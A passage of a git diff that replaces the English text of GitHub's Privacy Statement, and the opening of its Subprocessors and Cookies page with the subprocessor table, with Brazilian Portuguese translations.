-You have the option of enabling or adding third-party applications, known as "Developer Products," to your Account. These Developer Products are not necessary for your use of GitHub. We will share your User Personal Information with third parties when you ask us to, such as by purchasing a Developer Product from the Marketplace; however, you are responsible for your use of the third-party Developer Product and for the amount of User Personal Information you choose to share with it. You can check our [API documentation](/rest/reference/users) to see what information is provided when you authenticate into a Developer Product using your GitHub profile.
+Você pode habilitar ou adicionar aplicativos de terceiros, conhecidos como "Produtos de Desenvolvedor", na sua Conta. Esses Produtos de Desenvolvedor não são necessários para o uso do GitHub. Compartilharemos suas Informações Pessoais de Usuário com terceiros quando você nos solicitar, por exemplo, ao comprar um Produto de Desenvolvedor no Marketplace. No entanto, você será responsável pelo uso do Produto de Desenvolvedor de terceiro e pela quantidade de Informações Pessoais de Usuário que decidir compartilhar. Consulte nossa [documentação de API](/rest/reference/users) para saber quais informações são fornecidas quando você se autentica em um Produto de Desenvolvedor usando seu perfil no GitHub.
 
 ### GitHub Pages
 
-If you create a GitHub Pages website, it is your responsibility to post a privacy statement that accurately describes how you collect, use, and share personal information and other visitor information, and how you comply with applicable data privacy laws, rules, and regulations. Please note that GitHub may collect User Personal Information from visitors to your GitHub Pages website, including logs of visitor IP addresses, to comply with legal obligations, and to maintain the security and integrity of the Website and the Service.
+Se você criar um site no GitHub Pages, é de sua responsabilidade publicar uma declaração de privacidade que descreva precisamente a sua forma de coletar, usar e compartilhar informações pessoais e outras informações dos visitantes, bem como de que maneira você cumpre as leis, regras e regulamentos aplicáveis de privacidade de dados. Observe que o GitHub pode coletar Informações Pessoais de Usuário de visitantes do seu site do GitHub Pages, inclusive logs de endereços IP dos visitantes, para fins de obrigações legais e de manutenção de segurança e integridade do Site e do Serviço.
 
-### GitHub applications
+### Aplicativos do GitHub
 
-You can also add applications from GitHub, such as our Desktop app, our Atom application, or other application and account features, to your Account. These applications each have their own terms and may collect different kinds of User Personal Information; however, all GitHub applications are subject to this Privacy Statement, and we collect the amount of User Personal Information necessary, and use it only for the purpose for which you have given it to us.
+Você também pode adicionar aplicativos do GitHub, como nosso aplicativo Desktop, nosso aplicativo Atom ou outros aplicativos e recursos de conta à sua conta. Cada um desses aplicativos tem seus próprios termos e pode coletar diferentes tipos de Informações Pessoais de Usuário. No entanto, todos os aplicativos do GitHub estão sujeitos a esta Declaração de Privacidade, e sempre coletaremos a quantidade mínima necessária de Informações Pessoais de Usuário somente para os fins que você nos autorizou.
 
-## How you can access and control the information we collect
+## Como você pode acessar e controlar as informações obtidas
 
-If you're already a GitHub user, you may access, update, alter, or delete your basic user profile information by [editing your user profile](https://github.com/settings/profile) or contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy). You can control the information we collect about you by limiting what information is in your profile, by keeping your information current, or by contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy).
+Se você já é um usuário do GitHub, você poderá acessar, atualizar, alterar, ou excluir as suas informações básicas de perfil de usuário, [editando seu perfil de usuário](https://github.com/settings/profile) ou entrando em contato com o [Suporte do GitHub](https://support.github.com/contact?tags=docs-policy). Você pode controlar as informações que coletamos sobre você limitando quais informações estão no seu perfil, mantendo sua informação atualizada ou entrando em contato com o [Suporte do GitHub](https://support.github.com/contact?tags=docs-policy).
 
-If GitHub processes information about you, such as information [GitHub receives from third parties](#information-we-collect-from-third-parties), and you do not have an account, then you may, subject to applicable law, access, update, alter, delete, or object to the processing of your personal information by contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy).
+Se o GitHub processar informações sobre você como, por exemplo, informações que o [GitHub recebe de terceiros](#information-we-collect-from-third-parties), e você não tiver uma conta, você poderá, sujeito à lei, acessar, atualizar, alterar, excluir ou contestar o processamento das suas informações pessoais entrando em contato com o [Suporte do GitHub](https://support.github.com/contact?tags=docs-policy).
 
-### Data portability
+### Portabilidade de dados
 
-As a GitHub User, you can always take your data with you. You can [clone your repositories to your desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop), for example, or you can use our [Data Portability tools](https://developer.github.com/changes/2018-05-24-user-migration-api/) to download information we have about you.
+Como usuário do GitHub, você sempre pode levar seus dados com você. Por exemplo, você pode [clonar seus repositórios para o seu desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop) ou pode usar nossas [ferramentas de Portabilidade de Dados](https://developer.github.com/changes/2018-05-24-user-migration-api/) para baixar os dados que temos sobre você.
 
-### Data retention and deletion of data
+### Retenção e exclusão de dados
 
-Generally, GitHub retains User Personal Information for as long as your account is active or as needed to provide you services.
+Em geral, o GitHub retém as Informações Pessoais de Usuário enquanto a sua conta está ativa ou sempre que for necessário para prestar serviços a você.
 
-If you would like to cancel your account or delete your User Personal Information, you may do so in your [user profile](https://github.com/settings/admin). We retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile (within reason) within 90 days of your request. You may contact [GitHub Support](https://support.github.com/contact?tags=docs-policy) to request the erasure of the data we process on the basis of consent within 30 days.
+Para cancelar sua conta ou excluir suas Informações Pessoais de Usuário, acesse o seu [perfil de usuário](https://github.com/settings/admin). Vamos reter e usar suas informações conforme o necessário para cumprir nossas obrigações legais, resolver conflitos e fazer valer nossos acordos; salvo em casos de requisitos legais, apagaremos seu perfil por completo (se razoável) dentro de 90 dias. Você pode entrar em contato com o [Suporte do GitHub](https://support.github.com/contact?tags=docs-policy) para solicitar a eliminação dos dados que processamos com base no consentimento dentro de 30 dias.
 
-After an account has been deleted, certain data, such as contributions to other Users' repositories and comments in others' issues, will remain. However, we will delete or de-identify your User Personal Information, including your username and email address, from the author field of issues, pull requests, and comments by associating them with a [ghost user](https://github.com/ghost).
+Alguns dados permanecerão após a exclusão de uma conta, como contribuições em repositórios de outros Usuários e comentários em problemas de outrem. Todavia, vamos excluir ou remover a identificação das suas Informações Pessoais de Usuário (inclusive nome de usuário e endereço de e-mail) do campo de autoria de problemas, pull requests e comentários, que serão associados a um [usuário fantasma](https://github.com/ghost).
 
-That said, the email address you have supplied [via your Git commit settings](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) will always be associated with your commits in the Git system. If you choose to make your email address private, you should also update your Git commit settings. We are unable to change or delete data in the Git commit history — the Git software is designed to maintain a record — but we do enable you to control what information you put in that record.
+Com isso, o endereço de e-mail que você informou [nas suas configurações de commit do Git](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) sempre será associado aos seus commits no sistema Git. Se decidir tornar seu endereço de e-mail privado, você também deverá atualizar suas configurações de commit do Git. Não podemos alterar ou excluir dados no histórico de commit do Git; o software Git foi desenvolvido para manter um registro, mas você pode controlar as informações que insere nesse registro.
 
-## Our use of cookies and tracking
+## Uso de cookies e rastreamento
 
 ### Cookies
 
-GitHub only uses strictly necessary cookies. Cookies are small text files that websites often store on computer hard drives or mobile devices of visitors.
+O GitHub só usa cookies estritamente necessários. Cookies são pequenos arquivos de texto que os sites costumam armazenar nos discos rígidos de computadores ou dispositivos móveis de visitantes.
 
-We use cookies solely to provide, secure, and improve our service. For example, we use them to keep you logged in, remember your preferences, identify your device for security purposes, analyze your use of our service, compile statistical reports, and provide information for future development of GitHub. We use our own cookies for analytics purposes, but do not use any third-party analytics service providers.
+Usamos apenas cookies para fornecer, proteger e melhorar nossos serviços. Por exemplo, nós os usamos para manter você conectado, lembrar as suas preferências, identificar o seu dispositivo para fins de segurança, analisar o uso do nosso serviço, compilar relatórios estatísticos e fornecer informações para o desenvolvimento futuro do GitHub. Usamos os nossos próprios cookies para fins de análise, mas não utilizamos quaisquer provedores de serviços de análise de terceiros.
 
-By using our service, you agree that we can place these types of cookies on your computer or device. If you disable your browser or device’s ability to accept these cookies, you will not be able to log in or use our service.
+Ao usar o nosso serviço, você concorda que podemos colocar esses tipos de cookies no seu computador ou dispositivo. Se você desabilitar o navegador ou a capacidade de o dispositivo de aceitar esses cookies, você não poderá efetuar o login nem usar nosso serviço.
 
-We provide more information about [cookies on GitHub](/github/site-policy/github-subprocessors-and-cookies#cookies-on-github) on our [GitHub Subprocessors and Cookies](/github/site-policy/github-subprocessors-and-cookies) page that describes the cookies we set, the needs we have for those cookies, and the expiration of such cookies.
+Fornecemos mais informações sobre [cookies no GitHub](/github/site-policy/github-subprocessors-and-cookies#cookies-on-github) na nossa página [Subprocessadores e Cookies do GitHub](/github/site-policy/github-subprocessors-and-cookies) que descreve os cookies que definimos, a necessidade que temos para esses cookies e a expiração desses cookies.
 
 ### DNT
 
-"[Do Not Track](https://www.eff.org/issues/do-not-track)" (DNT) is a privacy preference you can set in your browser if you do not want online services to collect and share certain kinds of information about your online activity from third party tracking services. GitHub responds to browser DNT signals and follows the [W3C standard for responding to DNT signals](https://www.w3.org/TR/tracking-dnt/). If you would like to set your browser to signal that you would not like to be tracked, please check your browser's documentation for how to enable that signal. There are also good applications that block online tracking, such as [Privacy Badger](https://privacybadger.org/).
+"[Não rastrear](https://www.eff.org/issues/do-not-track)" (DNT) é uma preferência de privacidade que você pode definir no seu navegador se não quiser que os serviços on-line coletem e compartilhem certos tipos de informações sobre a sua atividade on-line de serviços de rastreamento de terceiros. O GitHub responde aos sinais de DNT dos navegadores e segue o [padrão do W3C de resposta aos sinais de DNT](https://www.w3.org/TR/tracking-dnt/). Se você deseja configurar seu navegador para sinalizar que não gostaria de ser rastreado, verifique a documentação do seu navegador para saber como ativar essa sinalização. Há também bons aplicativos que bloqueiam o rastreamento online, como [Badger de Privacidade](https://privacybadger.org/).
 
-## How GitHub secures your information
+## Como o GitHub protege suas informações
 
-GitHub takes all measures reasonably necessary to protect User Personal Information from unauthorized access, alteration, or destruction; maintain data accuracy; and help ensure the appropriate use of User Personal Information.
+O GitHub toma todas as medidas razoavelmente necessárias para proteger as Informações Pessoais de Usuário contra acesso não autorizado, alteração ou destruição, para manter a precisão dos dados e ajudar a garantir o uso adequado das Informações Pessoais de Usuário.
 
-GitHub enforces a written security information program. Our program:
-- aligns with industry recognized frameworks;
-- includes security safeguards reasonably designed to protect the confidentiality, integrity, availability, and resilience of our Users' data;
-- is appropriate to the nature, size, and complexity of GitHub’s business operations;
-- includes incident response and data breach notification processes; and
-- complies with applicable information security-related laws and regulations in the geographic regions where GitHub does business.
+O GitHub impõe um programa gravado de informações de segurança. O nosso programa:
+- é alinhado a estruturas reconhecidas pelo setor;
+- inclui proteções de segurança razoavelmente desenvolvidas para proteger a confidencialidade, a integridade, a disponibilidade e a resiliência dos dados dos nossos Usuários;
+- é adequado a natureza, tamanho e complexidade das operações de negócios do GitHub;
+- inclui processos de resposta a incidentes e notificação de violação de dados;
+- cumpre as leis e regulamentos aplicáveis de segurança da informação nas regiões geográficas onde o GitHub atua.
 
-In the event of a data breach that affects your User Personal Information, we will act promptly to mitigate the impact of a breach and notify any affected Users without undue delay.
+Em caso de uma violação de dados que afete as suas Informações Pessoais de Usuário, agiremos prontamente para mitigar o impacto da violação e notificar quaisquer Usuários afetados em tempo hábil.
 
-Transmission of data on GitHub is encrypted using SSH, HTTPS (TLS), and git repository content is encrypted at rest. We manage our own cages and racks at top-tier data centers with high level of physical and network security, and when data is stored with a third-party storage provider, it is encrypted.
+A transmissão de dados no GitHub é criptografada usando SSH e HTTPS (TLS), e o conteúdo do repositório git é criptografado em repouso. Gerenciamos nossos compartimentos e racks em datacenters com alto nível de segurança física e de rede. Quando armazenados em provedores de armazenamento de terceiros, os dados são criptografados.
 
-No method of transmission, or method of electronic storage, is 100% secure. Therefore, we cannot guarantee its absolute security. For more information, see our [security disclosures](https://github.com/security).
+Nenhum método de transmissão ou método de armazenamento eletrônico é 100% seguro. Portanto, não podemos garantir segurança absoluta. Para obter mais informações, consulte nossa [divulgação sobre segurança](https://github.com/security).
 
-## GitHub's global privacy practices
+## Práticas globais de privacidade do GitHub
 
-GitHub, Inc. and, for those in the European Economic Area, the United Kingdom, and Switzerland, GitHub B.V. are the controllers responsible for the processing of your personal information in connection with the Service, except (a) with respect to personal information that was added to a repository by its contributors, in which case the owner of that repository is the controller and GitHub is the processor (or, if the owner acts as a processor, GitHub will be the subprocessor); or (b) when you and GitHub have entered into a separate agreement that covers data privacy (such as a Data Processing Agreement).
+GitHub, Inc. e, para aqueles do Espaço Econômico Europeu, Reino Unido e Suíça, os B.V. do GitHub são os controladores responsáveis pelo processamento das suas informações pessoais com relação ao Serviço, exceto (a) no que diz respeito a informações pessoais adicionadas a um repositório pelos seus contribuidores, em cujo caso, o proprietário desse repositório é o controlador e o GitHub é o processador (ou, se o proprietário atuar como processador, o GitHub será o subprocessador); ou (b) quando você e o GitHub tiverem celebrado um acordo separado que cubra a privacidade de dados (como um Contrato de Processamento de Dados).
 
-Our addresses are:
+Nossos endereços são:
 
 - GitHub, Inc., 88 Colin P. Kelly Jr. Street, San Francisco, CA 94107.
-- GitHub B.V., Vijzelstraat 68-72, 1017 HL Amsterdam, The Netherlands.
+- GitHub B.V., Vijzelstraat 68-72, 1017 HL Amsterdã, Holanda.
 
-We store and process the information that we collect in the United States in accordance with this Privacy Statement, though our service providers may store and process data outside the United States. However, we understand that we have Users from different countries and regions with different privacy expectations, and we try to meet those needs even when the United States does not have the same privacy framework as other countries.
+Armazenamos e processamos nos Estados Unidos as informações que coletamos de acordo com esta Declaração de Privacidade, mas nossos prestadores de serviço podem armazenar e processar dados fora dos Estados Unidos. No entanto, entendemos que temos Usuários de vários países e regiões com diferentes expectativas de privacidade e tentamos atender a essas expectativas, mesmo quando os Estados Unidos não têm a mesma estrutura de privacidade dos outros países.
 
-We provide the same high standard of privacy protection—as described in this Privacy Statement—to all our users around the world, regardless of their country of origin or location, and we are proud of the levels of notice, choice, accountability, security, data integrity, access, and recourse we provide. We work hard to comply with the applicable data privacy laws wherever we do business, working with our Data Protection Officer as part of a cross-functional team that oversees our privacy compliance efforts. Additionally, if our vendors or affiliates have access to User Personal Information, they must sign agreements that require them to comply with our privacy policies and with applicable data privacy laws.
+Oferecemos o mesmo alto nível de proteção de privacidade (conforme descrito nesta Declaração de Privacidade) para todos os nossos usuários do mundo, independentemente de país de origem ou localidade, e temos orgulho dos níveis de aviso, escolha, responsabilidade, segurança, integridade de dados, acesso e recursos que fornecemos. Não medimos esforços para respeitar as leis aplicáveis de privacidade de dados em todas as regiões onde fazemos negócios, usando nosso Departamento de Proteção de Dados como parte de uma equipe multifuncional que supervisiona nossos esforços de conformidade com a privacidade. Ainda, nossos fornecedores ou afiliados que têm acesso às Informações Pessoais de Usuário devem assinar acordos que exigem o cumprimento das nossas políticas de privacidade e das leis aplicáveis de privacidade de dados.
 
-In particular:
+Em particular:
 
- - GitHub provides clear methods of unambiguous, informed, specific, and freely given consent at the time of data collection, when we collect your User Personal Information using consent as a basis.
- - We collect only the minimum amount of User Personal Information necessary for our purposes, unless you choose to provide more. We encourage you to only give us the amount of data you are comfortable sharing.
- - We offer you simple methods of accessing, altering, or deleting the User Personal Information we have collected, where legally permitted.
- - We provide our Users notice, choice, accountability, security, and access regarding their User Personal Information, and we limit the purpose for processing it. We also provide our Users a method of recourse and enforcement.
+ - O GitHub fornece métodos claros de consentimento inequívoco, específico e informado no momento da coleta de dados, quando coletamos suas Informações Pessoais de Usuário com base em consentimento.
+ - Coletamos somente a quantidade mínima de Informações Pessoais de Usuário necessárias para nossos fins, a menos que você decida compartilhar mais informações. Recomendamos que você nos informe somente a quantidade de dados que estiver confortável para compartilhar.
+ - Oferecemos métodos simples de acesso, correção, alteração ou exclusão das Informações Pessoais de Usuário que coletamos, desde que permitidos por lei.
+ - Oferecemos meios de notificação, escolha, responsabilidade, segurança e acesso aos nossos Usuários quanto às suas respectivas Informações Pessoais de Usuário, e limitamos os fins de processamento. Também oferecemos um método de recurso e imposição aos nossos Usuários.
 
-### Cross-border data transfers
+### Transferência internacional de dados
 
-GitHub processes personal information both inside and outside of the United States and relies on Standard Contractual Clauses as the legally provided mechanism to lawfully transfer data from the European Economic Area, the United Kingdom, and Switzerland to the United States. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about our cross-border data transfers, see our [Global Privacy Practices](/github/site-policy/global-privacy-practices).
+O GitHub processa informações pessoais dentro e fora dos Estados Unidos e depende das Cláusulas Contratuais Padrão como um mecanismo legalmente fornecido para transferir, de modo legal, os dados do Espaço Econômico Europeu, Reino Unido e Suíça para os Estados Unidos. Além disso, a GitHub é certificado nos Quadros de Proteção à Privacidade entre UE e EUA e Suíça e EUA. Para saber mais sobre nossas transferências de dados transfronteiriças, consulte nossas [Práticas de Privacidade Globais](/github/site-policy/global-privacy-practices).
 
-## How we communicate with you
+## Nossa comunicação com você
 
-We use your email address to communicate with you, if you've said that's okay, **and only for the reasons you’ve said that’s okay**. For example, if you contact our Support team with a request, we respond to you via email. You have a lot of control over how your email address is used and shared on and through GitHub. You may manage your communication preferences in your [user profile](https://github.com/settings/emails).
+Usaremos seu endereço de e-mail para nos comunicar com você, mediante o seu consentimento, e **somente para os fins que você especificar**. Por exemplo, se você comunicar alguma solicitação à nossa equipe de Suporte, responderemos por e-mail. Você terá alto nível de controle sobre as formas de uso e compartilhamento do seu endereço de e-mail no GitHub. Você poderá gerenciar suas preferências de comunicação no seu [perfil de usuário](https://github.com/settings/emails).
 
-By design, the Git version control system associates many actions with a User's email address, such as commit messages. We are not able to change many aspects of the Git system. If you would like your email address to remain private, even when you’re commenting on public repositories, [you can create a private email address in your user profile](https://github.com/settings/emails). You should also [update your local Git configuration to use your private email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). This will not change how we contact you, but it will affect how others see you. We set current Users' email address private by default, but legacy GitHub Users may need to update their settings. Please see more about email addresses in commit messages [here](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address).
+Pela natureza de seu design, o sistema de controle de versões do Git associa várias ações ao endereço de e-mail do Usuário, como mensagens de commit. Não podemos mudar vários aspectos do sistema Git. Se quiser que seu endereço de e-mail continue privado, mesmo quando estiver comentando em repositórios públicos, [você pode criar um endereço de e-mail privado no seu perfil de usuário](https://github.com/settings/emails). Você também deve [atualizar sua configuração local do Git para usar seu endereço de e-mail privado](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). Fazer isso não mudará a nossa forma de entrar em contato com você, mas afetará a forma como outras pessoas visualizam você. Definimos o endereço de e-mail dos Usuários como privado por padrão, mas alguns Usuários do GitHub podem ter que atualizar suas configurações. Saiba mais sobre endereços de e-mail em mensagens de commit [aqui](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address).
 
-Depending on your [email settings](https://github.com/settings/emails), GitHub may occasionally send notification emails about changes in a repository you’re watching, new features, requests for feedback, important policy changes, or to offer customer support. We also send marketing emails, based on your choices and in accordance with applicable laws and regulations. There's an “unsubscribe” link located at the bottom of each of the marketing emails we send you. Please note that you cannot opt out of receiving important communications from us, such as emails from our Support team or system emails, but you can configure your notifications settings in your profile to opt out of other communications.
+Dependendo das suas [configurações de e-mail](https://github.com/settings/emails), o GitHub pode ocasionalmente enviar e-mails de notificação sobre mudanças no repositório que você está acompanhando, novos recursos, solicitações de feedback, atualizações importantes da política ou atendimento ao cliente. Também enviamos e-mails de marketing com base nas suas escolhas e conforme as leis e regulamentos aplicáveis. Na parte inferior de cada e-mail de marketing que enviamos, há um link de cancelamento do recebimento desse tipo de mensagem. Observe que você não pode deixar de receber nossas comunicações importantes, como mensagens da nossa equipe de suporte ou mensagens do sistema, mas é possível definir suas configurações de notificação no seu perfil para cancelar o recebimento de outras mensagens.
 
-Our emails may contain a pixel tag, which is a small, clear image that can tell us whether or not you have opened an email and what your IP address is. We use this pixel tag to make our email more effective for you and to make sure we’re not sending you unwanted email.
+Nossos e-mails podem conter uma tag de pixel, isto é, uma imagem pequena que pode nos mostrar se você abriu uma mensagem e nos informar o seu endereço IP. Usamos a tag de pixel para aumentar a eficácia de nossas comunicações por e-mail e garantir que não estamos enviando mensagens indesejadas.
 
-## Resolving complaints
+## Resolução de conflitos
 
-If you have concerns about the way GitHub is handling your User Personal Information, please let us know immediately. We want to help. You may contact us by filling out the [Privacy contact form](https://support.github.com/contact/privacy). You may also email us directly at privacy@github.com with the subject line "Privacy Concerns." We will respond promptly — within 45 days at the latest.
+Em caso de dúvidas sobre a forma como o GitHub manipula suas Informações Pessoais de Usuário, entre em contato conosco imediatamente. Estamos à sua disposição para ajudar no que for necessário. Entre em contato conosco preenchendo o [formulário de contato de Privacidade](https://support.github.com/contact/privacy). ou escrevendo diretamente para privacy@github.com, especificando a linha de assunto "Privacidade". Responderemos sua solicitação o quanto antes, no máximo em 45 dias.
 
-You may also contact our Data Protection Officer directly.
+Você também pode entrar em contato diretamente com o nosso Departamento de Proteção de Dados.
 
-| Our United States HQ | Our EU Office |
-|---|---|
-| GitHub Data Protection Officer | GitHub BV |
-| 88 Colin P. Kelly Jr. St. | Vijzelstraat 68-72 |
-| San Francisco, CA 94107 | 1017 HL Amsterdam |
-| United States | The Netherlands |
-| privacy@github.com | privacy@github.com |
+| Sede nos Estados Unidos                     | Filial na UE       |
+| ------------------------------------------- | ------------------ |
+| Departamento de Proteção de dados do GitHub | GitHub BV          |
+| 88 Colin P. Kelly Jr. St.                   | Vijzelstraat 68-72 |
+| San Francisco, CA 94107                     | 1017 HL Amsterdam  |
+| Estados Unidos                              | Holanda            |
+| privacy@github.com                          | privacy@github.com |
 
-### Dispute resolution process
+### Processo de resolução de conflitos
 
-In the unlikely event that a dispute arises between you and GitHub regarding our handling of your User Personal Information, we will do our best to resolve it. Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority, and you might have more [options](/github/site-policy/global-privacy-practices#dispute-resolution-process).
+No caso improvável de conflito entre você e o GitHub sobre a manipulação das suas Informações Pessoais de Usuário, não mediremos esforços para resolver a situação. Além disso, se você for residente de um estado-membro da UE, você tem o direito de apresentar uma reclamação junto às suas autoridades locais de supervisão, e poderá ter mais [opções](/github/site-policy/global-privacy-practices#dispute-resolution-process).
 
-## Changes to our Privacy Statement
+## Mudanças nesta Declaração de Privacidade
 
-Although most changes are likely to be minor, GitHub may change our Privacy Statement from time to time. We will provide notification to Users of material changes to this Privacy Statement through our Website at least 30 days prior to the change taking effect by posting a notice on our home page or sending email to the primary email address specified in your GitHub account. We will also update our [Site Policy repository](https://github.com/github/site-policy/), which tracks all changes to this policy. For other changes to this Privacy Statement, we encourage Users to [watch](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository) or to check our Site Policy repository frequently.
+Embora grande parte das alterações sejam secundárias, o GitHub pode alterar esta Declaração de Privacidade ocasionalmente. Publicaremos uma notificação para os usuários no site sobre mudanças concretas feitas nesta Declaração de Privacidade pelo menos 30 dias antes de sua entrada em vigor. A notificação será exibida em nossa página inicial ou enviada por e-mail para o endereço de e-mail principal especificado na sua conta do GitHub. Também atualizaremos nosso [repositório da Política do Site](https://github.com/github/site-policy/), que registra e monitora todas as alterações feitas a esta política. Para outras mudanças nesta Declaração de Privacidade, incentivamos os usuários a [observar](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository) ou verificar o nosso repositório de Política de Site com frequência.
 
-## License
+## Licença
 
-This Privacy Statement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license).
+Esta Declaração de Privacidade é licenciada sob a [licença Creative Commons Zero](https://creativecommons.org/publicdomain/zero/1.0/). Para ver os detalhes, consulte nosso [repositório da Política do Site](https://github.com/github/site-policy#license).
 
-## Contacting GitHub
-Questions regarding GitHub's Privacy Statement or information practices should be directed to our [Privacy contact form](https://support.github.com/contact/privacy).
+## Contato com a GitHub
+Envie suas perguntas sobre nossas práticas de coleta de informações ou a Declaração de Privacidade do GitHub pelo [formulário de contato de Privacidade](https://support.github.com/contact/privacy).
 
-## Translations
+## Traduções
 
-Below are translations of this document into other languages. In the event of any conflict, uncertainty, or apparent inconsistency between any of those versions and the English version, this English version is the controlling version.
+Consulte abaixo este documento traduzido para outros idiomas. Em caso de conflito, incerteza ou aparente incoerência entre quaisquer versões traduzidas e a versão original em inglês, o documento em inglês prevalecerá.
 
 ### French
-Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(07.22.20)(FR).pdf)
+Clique aqui para consultar a versão em francês: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(12.20.19)(FR).pdf)
 
-### Other translations
+### Outras traduções
 
-For translations of this statement into other languages, please visit [https://docs.github.com/](/) and select a language from the drop-down menu under “English.”
+Para traduções desta declaração para outros idiomas, acesse [https://docs.github.com/](/) e selecione um idioma no menu suspenso abaixo de "Inglês".
diff --git a/translations/pt-BR/content/github/site-policy/github-subprocessors-and-cookies.md b/translations/pt-BR/content/github/site-policy/github-subprocessors-and-cookies.md
index 03ca56894a..ea01438ad5 100644
--- a/translations/pt-BR/content/github/site-policy/github-subprocessors-and-cookies.md
+++ b/translations/pt-BR/content/github/site-policy/github-subprocessors-and-cookies.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Subprocessors and Cookies
+title: Subprocessadores e cookies do GitHub
 redirect_from:
   - /subprocessors
   - /github-subprocessors
@@ -13,68 +13,68 @@ topics:
   - Legal
 ---
 
-Effective date: **April 2, 2021**
+Data de entrada em vigor: **2 de abril de 2021**
 
-GitHub provides a great deal of transparency regarding how we use your data, how we collect your data, and with whom we share your data. To that end, we provide this page, which details [our subprocessors](#github-subprocessors), and how we use [cookies](#cookies-on-github).
+O GitHub fornece um grande acordo de transparência em relação à forma como usamos seus dados, como os coletamos e com quem compartilhamos. Para essa finalidade, disponibilizamos esta página, que detalha os [nossos subprocessadores](#github-subprocessors) e como usamos [cookies](#cookies-on-github).
 
-## GitHub Subprocessors
+## Subprocessadores GitHub
 
-When we share your information with third party subprocessors, such as our vendors and service providers, we remain responsible for it. We work very hard to maintain your trust when we bring on new vendors, and we require all vendors to enter into data protection agreements with us that restrict their processing of Users' Personal Information (as defined in the [Privacy Statement](/articles/github-privacy-statement/)).
+Quando compartilhamos suas informações com terceiros subprocessadores, tais como nossos fornecedores e provedores de serviços, permanecemos responsáveis por elas. Trabalhamos muito duro para manter sua confiança quando trazemos novos fornecedores, e exigimos que todos os fornecedores se submetam a contratos de proteção de dados conosco que restringem seu processamento de Informações Pessoais dos Usuários (conforme definido na [Declaração de Privacidade](/articles/github-privacy-statement/)).
 
-| Name of Subprocessor | Description of Processing | Location of Processing | Corporate Location
-|:---|:---|:---|:---|
-| Automattic | Blogging service | United States | United States |
-| AWS Amazon | Data hosting | United States | United States |
-| Braintree (PayPal) | Subscription credit card payment processor | United States | United States |
-| Clearbit | Marketing data enrichment service | United States | United States |
-| Discourse | Community forum software provider | United States | United States |
-| Eloqua | Marketing campaign automation | United States | United States |
-| Google Apps | Internal company infrastructure | United States | United States |
-| MailChimp | Customer ticketing mail services provider | United States | United States |
-| Mailgun | Transactional mail services provider | United States | United States |
-| Microsoft | Microsoft Services | United States | United States |
-| Nexmo | SMS notification provider | United States | United States |
-| Salesforce.com | Customer relations management | United States | United States |
-| Sentry.io | Application monitoring provider | United States | United States |
-| Stripe | Payment provider | United States | United States |
-| Twilio & Twilio Sendgrid | SMS notification provider & transactional mail service provider | United States | United States |
-| Zendesk | Customer support ticketing system | United States | United States |
-| Zuora | Corporate billing system | United States | United States |
+| Nome do subprocessador   | Descrição do processamento                                                  | Local do Processamento | Localização corporativa |
+|:------------------------ |:--------------------------------------------------------------------------- |:---------------------- |:----------------------- |
+| Automattic               | Serviço de blogs                                                            | Estados Unidos         | Estados Unidos          |
+| AWS Amazon               | Hospedagem de dados                                                         | Estados Unidos         | Estados Unidos          |
+| Braintree (PayPal)       | Processador de pagamento de assinatura com cartão de crédito                | Estados Unidos         | Estados Unidos          |
+| Clearbit                 | Serviço de enriquecimento de dados de marketing                             | Estados Unidos         | Estados Unidos          |
+| Discourse                | Provedor de software do fórum comunitário                                   | Estados Unidos         | Estados Unidos          |
+| Eloqua                   | Automatização da campanha marketing                                         | Estados Unidos         | Estados Unidos          |
+| Google Apps              | Infraestrutura interna da empresa                                           | Estados Unidos         | Estados Unidos          |
+| MailChimp                | Fornecedor de serviços de correio para emissão de bilhetes a clientes       | Estados Unidos         | Estados Unidos          |
+| Mailgun                  | Provedor de serviços de correio transacional                                | Estados Unidos         | Estados Unidos          |
+| Microsoft                | Microsoft Services                                                          | Estados Unidos         | Estados Unidos          |
+| Nexmo                    | Provedor de notificação de SMS                                              | Estados Unidos         | Estados Unidos          |
+| Salesforce.com           | Gerenciamento de relacionamento com clientes                                | Estados Unidos         | Estados Unidos          |
+| Sentry.io                | Provedor de monitoramento de aplicativo                                     | Estados Unidos         | Estados Unidos          |
+| Stripe                   | Provedor de pagamentos                                                      | Estados Unidos         | Estados Unidos          |
+| Twilio & Twilio Sendgrid | Provedor de notificação de SMS & Provedor de serviço de e-mail transacional | Estados Unidos         | Estados Unidos          |
+| Zendesk                  | Sistema de bilhetagem de suporte ao cliente                                 | Estados Unidos         | Estados Unidos          |
+| Zuora                    | Sistema de faturamento corporativo                                          | Estados Unidos         | Estados Unidos          |
 
-When we bring on a new subprocessor who handles our Users' Personal Information, or remove a subprocessor, or we change how we use a subprocessor, we will update this page. If you have questions or concerns about a new subprocessor, we'd be happy to help. Please contact us via {% data variables.contact.contact_privacy %}.
+Quando trouxermos um novo subprocessador que lida com as Informações Pessoais de nossos Usuários, ou removermos um subprocessador, ou mudarmos a forma como usamos um subprocessador, atualizaremos esta página. Se você tiver dúvidas ou preocupações sobre um novo subprocessador, ficaremos felizes em ajudar. Entre em contato conosco via {% data variables.contact.contact_privacy %}.
 
-## Cookies on GitHub
+## Cookies no GitHub
 
